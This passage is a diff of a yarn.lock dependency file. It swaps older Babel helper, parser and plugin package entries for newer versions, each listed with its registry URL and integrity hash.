   resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.10.4.tgz#0f5ccda2945277a2a7a2d3a821e15395edcf3461"
@@ -663,13 +717,6 @@
     "@babel/template" "^7.10.4"
     "@babel/types" "^7.10.4"
 
-"@babel/helper-simple-access@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.16.0.tgz#21d6a27620e383e37534cf6c10bba019a6f90517"
-  integrity sha512-o1rjBT/gppAqKsYfUdfHq5Rk03lMQrkPHG1OWzHWpLgVXRH4HnMM9Et9CVdIqwkCQlobnGHEJMsgWP/jE1zUiw==
-  dependencies:
-    "@babel/types" "^7.16.0"
-
 "@babel/helper-simple-access@^7.20.2", "@babel/helper-simple-access@^7.24.5":
   version "7.24.5"
   resolved "https://registry.yarnpkg.com/@babel/helper-simple-access/-/helper-simple-access-7.24.5.tgz#50da5b72f58c16b07fbd992810be6049478e85ba"
@@ -684,13 +731,6 @@
   dependencies:
     "@babel/types" "^7.11.0"
 
-"@babel/helper-skip-transparent-expression-wrappers@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.16.0.tgz#0ee3388070147c3ae051e487eca3ebb0e2e8bb09"
-  integrity sha512-+il1gTy0oHwUsBQZyJvukbB4vPMdcYBrFHa0Uc4AizLxbq6BOYC51Rv4tWocX9BLBDLZ4kc6qUFpQ6HRgL+3zw==
-  dependencies:
-    "@babel/types" "^7.16.0"
-
 "@babel/helper-skip-transparent-expression-wrappers@^7.20.0":
   version "7.20.0"
   resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.20.0.tgz#fbe4c52f60518cab8140d77101f0e63a8a230684"
@@ -698,6 +738,22 @@
   dependencies:
     "@babel/types" "^7.20.0"
 
+"@babel/helper-skip-transparent-expression-wrappers@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.25.9.tgz#0b2e1b62d560d6b1954893fd2b705dc17c91f0c9"
+  integrity sha512-K4Du3BFa3gvyhzgPcntrkDgZzQaq6uozzcpGbOO1OEJaI+EJdqWIMTLgFgQf6lrfiDFo5FU+BxKepI9RmZqahA==
+  dependencies:
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
+
+"@babel/helper-skip-transparent-expression-wrappers@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-skip-transparent-expression-wrappers/-/helper-skip-transparent-expression-wrappers-7.27.1.tgz#62bb91b3abba8c7f1fec0252d9dbea11b3ee7a56"
+  integrity sha512-Tub4ZKEXqbPjXgWLl2+3JpQAYBJ8+ikpQ2Ocj/q/r0LwE3UhENh7EUabyHjz2kCEsrRY83ew2DQdHluuiDQFzg==
+  dependencies:
+    "@babel/traverse" "^7.27.1"
+    "@babel/types" "^7.27.1"
+
 "@babel/helper-split-export-declaration@^7.10.4", "@babel/helper-split-export-declaration@^7.11.0":
   version "7.11.0"
   resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.11.0.tgz#f8a491244acf6a676158ac42072911ba83ad099f"
@@ -705,13 +761,6 @@
   dependencies:
     "@babel/types" "^7.11.0"
 
-"@babel/helper-split-export-declaration@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.16.0.tgz#29672f43663e936df370aaeb22beddb3baec7438"
-  integrity sha512-0YMMRpuDFNGTHNRiiqJX19GjNXA4H0E8jZ2ibccfSxaCogbm3am5WN/2nQNj0YnQwGWM1J06GOcQ2qnh3+0paw==
-  dependencies:
-    "@babel/types" "^7.16.0"
-
 "@babel/helper-split-export-declaration@^7.18.6", "@babel/helper-split-export-declaration@^7.24.5":
   version "7.24.5"
   resolved "https://registry.yarnpkg.com/@babel/helper-split-export-declaration/-/helper-split-export-declaration-7.24.5.tgz#b9a67f06a46b0b339323617c8c6213b9055a78b6"
@@ -726,46 +775,46 @@
   dependencies:
     "@babel/types" "^7.8.3"
 
-"@babel/helper-string-parser@^7.19.4", "@babel/helper-string-parser@^7.24.1":
-  version "7.24.1"
-  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.24.1.tgz#f99c36d3593db9540705d0739a1f10b5e20c696e"
-  integrity sha512-2ofRCjnnA9y+wk8b9IAREroeUP02KHp431N2mhKniy2yKIDKpbrHv9eXwm8cBeWQYcJmzv5qKCu65P47eCF7CQ==
-
-"@babel/helper-string-parser@^7.23.4":
-  version "7.23.4"
-  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.23.4.tgz#9478c707febcbbe1ddb38a3d91a2e054ae622d83"
-  integrity sha512-803gmbQdqwdf4olxrX4AJyFBV/RTr3rSmOj0rKwesmzlfhYNDEs+/iOcznzpNWlJlIlTJC2QfPFcHB6DlzdVLQ==
+"@babel/helper-string-parser@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.25.9.tgz#1aabb72ee72ed35789b4bbcad3ca2862ce614e8c"
+  integrity sha512-4A/SCr/2KLd5jrtOMFzaKjVtAei3+2r/NChoBNoZ3EyP/+GlhoaEGoWOZUmFmoITP7zOJyHIMm+DYRd8o3PvHA==
 
-"@babel/helper-validator-identifier@^7.10.4":
-  version "7.14.0"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.14.0.tgz#d26cad8a47c65286b15df1547319a5d0bcf27288"
-  integrity sha512-V3ts7zMSu5lfiwWDVWzRDGIN+lnCEUdaXgtVHJgLb1rGaA6jMrtB9EmE7L18foXJIE8Un/A/h6NJfGQp/e1J4A==
+"@babel/helper-string-parser@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-string-parser/-/helper-string-parser-7.27.1.tgz#54da796097ab19ce67ed9f88b47bb2ec49367687"
+  integrity sha512-qMlSxKbpRlAridDExk92nSobyDdpPijUq2DW6oDnUqd0iOGxmQjyqhMIihI9+zv4LPyZdRje2cavWPbCbWm3eA==
 
-"@babel/helper-validator-identifier@^7.14.0", "@babel/helper-validator-identifier@^7.18.6", "@babel/helper-validator-identifier@^7.19.1", "@babel/helper-validator-identifier@^7.24.5":
+"@babel/helper-validator-identifier@^7.14.0", "@babel/helper-validator-identifier@^7.18.6", "@babel/helper-validator-identifier@^7.24.5":
   version "7.24.5"
   resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.24.5.tgz#918b1a7fa23056603506370089bd990d8720db62"
   integrity sha512-3q93SSKX2TWCG30M2G2kwaKeTYgEUp5Snjuj8qm729SObL6nbtUldAi37qbxkD5gg3xnBio+f9nqpSepGZMvxA==
 
-"@babel/helper-validator-identifier@^7.15.7":
-  version "7.15.7"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.15.7.tgz#220df993bfe904a4a6b02ab4f3385a5ebf6e2389"
-  integrity sha512-K4JvCtQqad9OY2+yTU8w+E82ywk/fe+ELNlt1G8z3bVGlZfn/hOcQQsUhGhW/N+tb3fxK800wLtKOE/aM0m72w==
+"@babel/helper-validator-identifier@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.24.7.tgz#75b889cfaf9e35c2aaf42cf0d72c8e91719251db"
+  integrity sha512-rR+PBcQ1SMQDDyF6X0wxtG8QyLCgUB0eRAGguqRLfkCA87l7yAP7ehq8SNj96OOGTO8OBV70KhuFYcIkHXOg0w==
 
-"@babel/helper-validator-identifier@^7.22.20":
-  version "7.22.20"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.22.20.tgz#c4ae002c61d2879e724581d96665583dbc1dc0e0"
-  integrity sha512-Y4OZ+ytlatR8AI+8KZfKuL5urKp7qey08ha31L8b3BwewJAoJamTzyvxPR/5D+KkdJCGPq/+8TukHBlY10FX9A==
+"@babel/helper-validator-identifier@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.25.9.tgz#24b64e2c3ec7cd3b3c547729b8d16871f22cbdc7"
+  integrity sha512-Ed61U6XJc3CVRfkERJWDz4dJwKe7iLmmJsbOGu9wSloNSFttHV0I8g6UAgb7qnK5ly5bGLPd4oXZlxCdANBOWQ==
 
-"@babel/helper-validator-option@^7.14.5":
-  version "7.14.5"
-  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.14.5.tgz#6e72a1fff18d5dfcb878e1e62f1a021c4b72d5a3"
-  integrity sha512-OX8D5eeX4XwcroVW45NMvoYaIuFI+GQpA2a8Gi+X/U/cDUIRsV37qQfF905F0htTRCREQIB4KqPeaveRJUl3Ow==
+"@babel/helper-validator-identifier@^7.27.1":
+  version "7.27.1"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-identifier/-/helper-validator-identifier-7.27.1.tgz#a7054dcc145a967dd4dc8fee845a57c1316c9df8"
+  integrity sha512-D2hP9eA+Sqx1kBZgzxZh0y1trbuU+JoDkiEwqhQ36nodYqJwyEIhPSdMNd7lOm/4io72luTPWH20Yda0xOuUow==
 
 "@babel/helper-validator-option@^7.18.6", "@babel/helper-validator-option@^7.22.15", "@babel/helper-validator-option@^7.23.5":
   version "7.23.5"
   resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.23.5.tgz#907a3fbd4523426285365d1206c423c4c5520307"
   integrity sha512-85ttAOMLsr53VgXkTbkx8oA6YTfT4q7/HzXSLEYmjcSTJPMPQtvq1BD79Byep5xMUYbGRzEpDsjUf3dyp54IKw==
 
+"@babel/helper-validator-option@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-validator-option/-/helper-validator-option-7.25.9.tgz#86e45bd8a49ab7e03f276577f96179653d41da72"
+  integrity sha512-e/zv1co8pp55dNdEcCynfj9X7nyUKUXoUEwfXqaZt0omVOmDe9oOTdKStH4GmAw6zxMFs50ZayuMfHDKlO7Tfw==
+
 "@babel/helper-wrap-function@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/helper-wrap-function/-/helper-wrap-function-7.10.4.tgz#8a6f701eab0ff39f765b5a1cfef409990e624b87"
@@ -776,23 +825,14 @@
     "@babel/traverse" "^7.10.4"
     "@babel/types" "^7.10.4"
 
-"@babel/helpers@^7.10.4":
-  version "7.10.4"
-  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.10.4.tgz#2abeb0d721aff7c0a97376b9e1f6f65d7a475044"
-  integrity sha512-L2gX/XeUONeEbI78dXSrJzGdz4GQ+ZTA/aazfUsFaWjSe95kiCuOZ5HsXvkiw3iwF+mFHSRUfJU8t6YavocdXA==
+"@babel/helper-wrap-function@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/helper-wrap-function/-/helper-wrap-function-7.25.9.tgz#d99dfd595312e6c894bd7d237470025c85eea9d0"
+  integrity sha512-ETzz9UTjQSTmw39GboatdymDq4XIQbR8ySgVrylRhPOFpsd+JrKHIuF0de7GCWmem+T4uC5z7EZguod7Wj4A4g==
   dependencies:
-    "@babel/template" "^7.10.4"
-    "@babel/traverse" "^7.10.4"
-    "@babel/types" "^7.10.4"
-
-"@babel/helpers@^7.16.0":
-  version "7.16.3"
-  resolved "https://registry.yarnpkg.com/@babel/helpers/-/helpers-7.16.3.tgz#27fc64f40b996e7074dc73128c3e5c3e7f55c43c"
-  integrity sha512-Xn8IhDlBPhvYTvgewPKawhADichOsbkZuzN7qz2BusOM0brChsyXMDJvldWaYMMUNiCQdQzNEioXTp3sC8Nt8w==
-  dependencies:
-    "@babel/template" "^7.16.0"
-    "@babel/traverse" "^7.16.3"
-    "@babel/types" "^7.16.0"
+    "@babel/template" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+    "@babel/types" "^7.25.9"
 
 "@babel/helpers@^7.20.7", "@babel/helpers@^7.24.5":
   version "7.24.5"
@@ -822,14 +862,25 @@
     js-tokens "^4.0.0"
     picocolors "^1.0.0"
 
-"@babel/highlight@^7.16.0":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.16.0.tgz#6ceb32b2ca4b8f5f361fb7fd821e3fddf4a1725a"
-  integrity sha512-t8MH41kUQylBtu2+4IQA3atqevA2lRgqA2wyVB/YiWmsDSuylZZuXOUy9ric30hfzauEFfdsuk/eXTRrGrfd0g==
+"@babel/highlight@^7.16.7":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.25.9.tgz#8141ce68fc73757946f983b343f1231f4691acc6"
+  integrity sha512-llL88JShoCsth8fF8R4SJnIn+WLvR6ccFxu1H3FlMhDontdcmZWf2HgIZ7AIqV3Xcck1idlohrN4EUBQz6klbw==
   dependencies:
-    "@babel/helper-validator-identifier" "^7.15.7"
-    chalk "^2.0.0"
+    "@babel/helper-validator-identifier" "^7.25.9"
+    chalk "^2.4.2"
     js-tokens "^4.0.0"
+    picocolors "^1.0.0"
+
+"@babel/highlight@^7.24.7":
+  version "7.24.7"
+  resolved "https://registry.yarnpkg.com/@babel/highlight/-/highlight-7.24.7.tgz#a05ab1df134b286558aae0ed41e6c5f731bf409d"
+  integrity sha512-EStJpq4OuY8xYfhGVXngigBJRWxftKX9ksiGDnmlY3o7B/V7KIAc9X4oiK87uPJSc/vs5L869bem5fhZa8caZw==
+  dependencies:
+    "@babel/helper-validator-identifier" "^7.24.7"
+    chalk "^2.4.2"
+    js-tokens "^4.0.0"
+    picocolors "^1.0.0"
 
 "@babel/highlight@^7.8.3":
   version "7.14.0"
@@ -857,30 +908,80 @@
   resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.8.3.tgz#790874091d2001c9be6ec426c2eed47bc7679081"
   integrity sha512-/V72F4Yp/qmHaTALizEm9Gf2eQHV3QyTL3K0cNfijwnMnb1L+LDlAubb/ZnSdGAVzVSWakujHYs1I26x66sMeQ==
 
-"@babel/parser@^7.1.0", "@babel/parser@^7.14.7", "@babel/parser@^7.20.13", "@babel/parser@^7.20.7", "@babel/parser@^7.23.9", "@babel/parser@^7.24.0", "@babel/parser@^7.24.5":
+"@babel/parser@^7.1.0", "@babel/parser@^7.14.7", "@babel/parser@^7.20.7", "@babel/parser@^7.23.9", "@babel/parser@^7.24.0", "@babel/parser@^7.24.5":
   version "7.24.5"
   resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.24.5.tgz#4a4d5ab4315579e5398a82dcf636ca80c3392790"
   integrity sha512-EOv5IK8arwh3LI47dz1b0tKUb/1uhHAnHJOrjgtQMIpu1uXd9mlFrJg9IUgGUgZ41Ch0K8REPTYpO7B76b4vJg==
 
-"@babel/parser@^7.11.0", "@babel/parser@^7.11.1", "@babel/parser@^7.11.3", "@babel/parser@^7.12.13":
+"@babel/parser@^7.11.0", "@babel/parser@^7.11.3", "@babel/parser@^7.12.13":
   version "7.14.3"
   resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.14.3.tgz#9b530eecb071fd0c93519df25c5ff9f14759f298"
   integrity sha512-7MpZDIfI7sUC5zWo2+foJ50CSI5lcqDehZ0lVgIhSi4bFEk94fLAKlF3Q0nzSQQ+ca0lm+O6G9ztKVBeu8PMRQ==
 
-"@babel/parser@^7.12.5":
-  version "7.12.5"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.12.5.tgz#b4af32ddd473c0bfa643bd7ff0728b8e71b81ea0"
-  integrity sha512-FVM6RZQ0mn2KCf1VUED7KepYeUWoVShczewOCfm3nzoBybaih51h+sYVVGthW9M6lPByEPTQf+xm27PBdlpwmQ==
-
 "@babel/parser@^7.14.8":
   version "7.14.8"
   resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.14.8.tgz#66fd41666b2d7b840bd5ace7f7416d5ac60208d4"
   integrity sha512-syoCQFOoo/fzkWDeM0dLEZi5xqurb5vuyzwIMNZRNun+N/9A4cUZeQaE7dTrB8jGaKuJRBtEOajtnmw0I5hvvA==
 
-"@babel/parser@^7.16.0", "@babel/parser@^7.16.3":
-  version "7.16.4"
-  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.16.4.tgz#d5f92f57cf2c74ffe9b37981c0e72fee7311372e"
-  integrity sha512-6V0qdPUaiVHH3RtZeLIsc+6pDhbYzHR8ogA8w+f+Wc77DuXto19g2QUwveINoS34Uw+W8/hQDGJCx+i4n7xcng==
+"@babel/parser@^7.24.4", "@babel/parser@^7.26.9":
+  version "7.26.9"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.26.9.tgz#d9e78bee6dc80f9efd8f2349dcfbbcdace280fd5"
+  integrity sha512-81NWa1njQblgZbQHxWHpxxCzNsa3ZwvFqpUg7P+NNUU6f3UU2jBEg4OlF/J6rl8+PQGh1q6/zWScd001YwcA5A==
+  dependencies:
+    "@babel/types" "^7.26.9"
+
+"@babel/parser@^7.26.10":
+  version "7.26.10"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.26.10.tgz#e9bdb82f14b97df6569b0b038edd436839c57749"
+  integrity sha512-6aQR2zGE/QFi8JpDLjUZEPYOs7+mhKXm86VaKFiLP35JQwQb6bwUE+XbvkH0EptsYhbNBSUGaUBLKqxH1xSgsA==
+  dependencies:
+    "@babel/types" "^7.26.10"
+
+"@babel/parser@^7.27.2", "@babel/parser@^7.28.3":
+  version "7.28.3"
+  resolved "https://registry.yarnpkg.com/@babel/parser/-/parser-7.28.3.tgz#d2d25b814621bca5fe9d172bc93792547e7a2a71"
+  integrity sha512-7+Ey1mAgYqFAx2h0RuoxcQT5+MlG3GTV0TQrgr7/ZliKsm/MNDxVVutlWaziMq7wJNAz8MTqz55XLpWvva6StA==
+  dependencies:
+    "@babel/types" "^7.28.2"
+
+"@babel/plugin-bugfix-firefox-class-in-computed-class-key@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-firefox-class-in-computed-class-key/-/plugin-bugfix-firefox-class-in-computed-class-key-7.25.9.tgz#cc2e53ebf0a0340777fff5ed521943e253b4d8fe"
+  integrity sha512-ZkRyVkThtxQ/J6nv3JFYv1RYY+JT5BvU0y3k5bWrmuG4woXypRa4PXmm9RhOwodRkYFWqC0C0cqcJ4OqR7kW+g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
+
+"@babel/plugin-bugfix-safari-class-field-initializer-scope@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-safari-class-field-initializer-scope/-/plugin-bugfix-safari-class-field-initializer-scope-7.25.9.tgz#af9e4fb63ccb8abcb92375b2fcfe36b60c774d30"
+  integrity sha512-MrGRLZxLD/Zjj0gdU15dfs+HH/OXvnw/U4jJD8vpcP2CJQapPEv1IWwjc/qMg7ItBlPwSv1hRBbb7LeuANdcnw==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-safari-id-destructuring-collision-in-function-expression/-/plugin-bugfix-safari-id-destructuring-collision-in-function-expression-7.25.9.tgz#e8dc26fcd616e6c5bf2bd0d5a2c151d4f92a9137"
+  integrity sha512-2qUwwfAFpJLZqxd02YW9btUCZHl+RFvdDkNfZwaIJrvB8Tesjsk8pEQkTvGwZXLqXUx/2oyY3ySRhm6HOXuCug==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+
+"@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-v8-spread-parameters-in-optional-chaining/-/plugin-bugfix-v8-spread-parameters-in-optional-chaining-7.25.9.tgz#807a667f9158acac6f6164b4beb85ad9ebc9e1d1"
+  integrity sha512-6xWgLZTJXwilVjlnV7ospI3xi+sl8lN8rXXbBD6vYn3UYDlGsag8wrZkKcSI8G6KgqKP7vNFaDgeDnfAABq61g==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/helper-skip-transparent-expression-wrappers" "^7.25.9"
+    "@babel/plugin-transform-optional-chaining" "^7.25.9"
+
+"@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly@^7.25.9":
+  version "7.25.9"
+  resolved "https://registry.yarnpkg.com/@babel/plugin-bugfix-v8-static-class-fields-redefine-readonly/-/plugin-bugfix-v8-static-class-fields-redefine-readonly-7.25.9.tgz#de7093f1e7deaf68eadd7cc6b07f2ab82543269e"
+  integrity sha512-aLnMXYPnzwwqhYSCyXfKkIkYgJ8zv9RK+roo9DkTXz38ynIhd9XCbN08s3MGvqL2MYGVUGdRQLL/JqBIeJhJBg==
+  dependencies:
+    "@babel/helper-plugin-utils" "^7.25.9"
+    "@babel/traverse" "^7.25.9"
 
 "@babel/plugin-external-helpers@^7.10.4":
   version "7.10.4"
@@ -914,14 +1015,6 @@
     "@babel/helper-create-class-features-plugin" "^7.10.4"
     "@babel/helper-plugin-utils" "^7.10.4"
 
-"@babel/plugin-proposal-class-properties@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-class-properties/-/plugin-proposal-class-properties-7.16.0.tgz#c029618267ddebc7280fa286e0f8ca2a278a2d1a"
-  integrity sha512-mCF3HcuZSY9Fcx56Lbn+CGdT44ioBMMvjNVldpKtj8tpniETdLjnxdHI1+sDWXIM1nNt+EanJOZ3IG9lzVjs7A==
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.16.0"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
 "@babel/plugin-proposal-dynamic-import@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.10.4.tgz#ba57a26cb98b37741e9d5bca1b8b0ddf8291f17e"
@@ -930,14 +1023,6 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     "@babel/plugin-syntax-dynamic-import" "^7.8.0"
 
-"@babel/plugin-proposal-dynamic-import@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-dynamic-import/-/plugin-proposal-dynamic-import-7.16.0.tgz#783eca61d50526202f9b296095453977e88659f1"
-  integrity sha512-QGSA6ExWk95jFQgwz5GQ2Dr95cf7eI7TKutIXXTb7B1gCLTCz5hTjFTQGfLFBBiC5WSNi7udNwWsqbbMh1c4yQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-dynamic-import" "^7.8.3"
-
 "@babel/plugin-proposal-export-namespace-from@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.10.4.tgz#570d883b91031637b3e2958eea3c438e62c05f54"
@@ -946,14 +1031,6 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
 
-"@babel/plugin-proposal-export-namespace-from@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-export-namespace-from/-/plugin-proposal-export-namespace-from-7.16.0.tgz#9c01dee40b9d6b847b656aaf4a3976a71740f222"
-  integrity sha512-CjI4nxM/D+5wCnhD11MHB1AwRSAYeDT+h8gCdcVJZ/OK7+wRzFsf7PFPWVpVpNRkHMmMkQWAHpTq+15IXQ1diA==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-export-namespace-from" "^7.8.3"
-
 "@babel/plugin-proposal-json-strings@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-json-strings/-/plugin-proposal-json-strings-7.10.4.tgz#593e59c63528160233bd321b1aebe0820c2341db"
@@ -970,14 +1047,6 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
 
-"@babel/plugin-proposal-logical-assignment-operators@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-logical-assignment-operators/-/plugin-proposal-logical-assignment-operators-7.16.0.tgz#a711b8ceb3ffddd3ef88d3a49e86dbd3cc7db3fd"
-  integrity sha512-pbW0fE30sVTYXXm9lpVQQ/Vc+iTeQKiXlaNRZPPN2A2VdlWyAtsUrsQ3xydSlDW00TFMK7a8m3cDTkBF5WnV3Q==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-logical-assignment-operators" "^7.10.4"
-
 "@babel/plugin-proposal-nullish-coalescing-operator@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.10.4.tgz#02a7e961fc32e6d5b2db0649e01bf80ddee7e04a"
@@ -986,14 +1055,6 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.0"
 
-"@babel/plugin-proposal-nullish-coalescing-operator@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-nullish-coalescing-operator/-/plugin-proposal-nullish-coalescing-operator-7.16.0.tgz#44e1cce08fe2427482cf446a91bb451528ed0596"
-  integrity sha512-3bnHA8CAFm7cG93v8loghDYyQ8r97Qydf63BeYiGgYbjKKB/XP53W15wfRC7dvKfoiJ34f6Rbyyx2btExc8XsQ==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-nullish-coalescing-operator" "^7.8.3"
-
 "@babel/plugin-proposal-numeric-separator@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.10.4.tgz#ce1590ff0a65ad12970a609d78855e9a4c1aef06"
@@ -1002,14 +1063,6 @@
     "@babel/helper-plugin-utils" "^7.10.4"
     "@babel/plugin-syntax-numeric-separator" "^7.10.4"
 
-"@babel/plugin-proposal-numeric-separator@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-numeric-separator/-/plugin-proposal-numeric-separator-7.16.0.tgz#5d418e4fbbf8b9b7d03125d3a52730433a373734"
-  integrity sha512-FAhE2I6mjispy+vwwd6xWPyEx3NYFS13pikDBWUAFGZvq6POGs5eNchw8+1CYoEgBl9n11I3NkzD7ghn25PQ9Q==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/plugin-syntax-numeric-separator" "^7.10.4"
-
 "@babel/plugin-proposal-object-rest-spread@^7.0.0":
   version "7.20.7"
   resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-object-rest-spread/-/plugin-proposal-object-rest-spread-7.20.7.tgz#aa662940ef425779c75534a5c41e9d936edc390a"
@@ -1047,15 +1100,6 @@
     "@babel/helper-skip-transparent-expression-wrappers" "^7.11.0"
     "@babel/plugin-syntax-optional-chaining" "^7.8.0"
 
-"@babel/plugin-proposal-optional-chaining@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-optional-chaining/-/plugin-proposal-optional-chaining-7.16.0.tgz#56dbc3970825683608e9efb55ea82c2a2d6c8dc0"
-  integrity sha512-Y4rFpkZODfHrVo70Uaj6cC1JJOt3Pp0MdWSwIKtb8z1/lsjl9AmnB7ErRFV+QNGIfcY1Eruc2UMx5KaRnXjMyg==
-  dependencies:
-    "@babel/helper-plugin-utils" "^7.14.5"
-    "@babel/helper-skip-transparent-expression-wrappers" "^7.16.0"
-    "@babel/plugin-syntax-optional-chaining" "^7.8.3"
-
 "@babel/plugin-proposal-private-methods@^7.10.4":
   version "7.10.4"
   resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.10.4.tgz#b160d972b8fdba5c7d111a145fc8c421fc2a6909"
@@ -1064,23 +1108,10 @@
     "@babel/helper-create-class-features-plugin" "^7.10.4"
     "@babel/helper-plugin-utils" "^7.10.4"
 
-"@babel/plugin-proposal-private-methods@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-methods/-/plugin-proposal-private-methods-7.16.0.tgz#b4dafb9c717e4301c5776b30d080d6383c89aff6"
-  integrity sha512-IvHmcTHDFztQGnn6aWq4t12QaBXTKr1whF/dgp9kz84X6GUcwq9utj7z2wFCUfeOup/QKnOlt2k0zxkGFx9ubg==
-  dependencies:
-    "@babel/helper-create-class-features-plugin" "^7.16.0"
-    "@babel/helper-plugin-utils" "^7.14.5"
-
-"@babel/plugin-proposal-private-property-in-object@^7.14.5":
-  version "7.16.0"
-  resolved "https://registry.yarnpkg.com/@babel/plugin-proposal-private-property-in-object/-/plugin-proposal-private-property-in-object-7.16.0.tgz#69e935b2c5c79d2488112d886f0c4e2790fee76f"
